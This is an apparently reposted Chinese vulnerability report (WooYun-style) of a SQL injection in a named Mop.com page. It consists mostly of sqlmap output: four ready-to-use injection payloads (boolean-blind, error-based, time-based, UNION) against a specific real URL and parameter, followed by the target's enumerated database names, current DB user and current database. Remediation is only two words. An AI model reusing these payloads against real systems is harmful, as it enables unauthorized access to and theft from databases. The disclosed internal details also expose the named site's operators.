神刀安全网

猫扑某站SQL注入漏洞

漏洞标题 猫扑某站SQL注入漏洞
相关厂商 猫扑
漏洞作者 Jumbo
提交时间 2016-03-29 15:03
公开时间 2016-04-03 15:10
漏洞类型 SQL注射漏洞
危害等级
自评Rank 20
漏洞状态 漏洞已经通知厂商但是厂商忽略漏洞
Tags标签 Mysql

漏洞详情

lady.mop.com/news/bencandy.php?fid=47&aid=908

存在的注入参数

find

Parameter: fid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: fid=47 AND 1872=1872&aid=908

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: fid=47 AND (SELECT 7959 FROM(SELECT COUNT(*),CONCAT(0x71766b6a71,(SELECT (ELT(7959=7959,1))),0x7162786b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&aid=908

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: fid=47 AND (SELECT * FROM (SELECT(SLEEP(5)))anib)&aid=908

Type: UNION query
Title: MySQL UNION query (NULL) - 52 columns
Payload: fid=47 UNION ALL SELECT NULL,CONCAT(0x71766b6a71,0x557a59596d4d7661656e,0x7162786b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&aid=908
---
[14:38:10] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0

漏洞证明:

available databases [14]:
[*] information_schema
[*] mop_demo
[*] mop_entertainment
[*] mop_entertainment1
[*] mop_health
[*] mop_health1
[*] mop_lady
[*] mop_lady1
[*] mop_local
[*] mop_news
[*] mop_society
[*] mop_society1
[*] mysql
[*] performance_schema

用户信息

back-end DBMS: MySQL 5.0
[14:36:46] [INFO] fetching current user
current user: 'liudutianxia@%'
[14:36:47] [INFO] fetching current database
current database: 'mop_lady1'

不好传图片

修复方案:

过滤

waf

版权声明:转载请注明来源 Jumbo @ 乌云

【本文版权归安全脉搏所有,未经许可不得转载。文章仅代表作者看法,如有不同观点,欢迎添加安全脉搏微信号:SecPulse,进行交流。】

Tags: Mysql

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 猫扑某站SQL注入漏洞

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮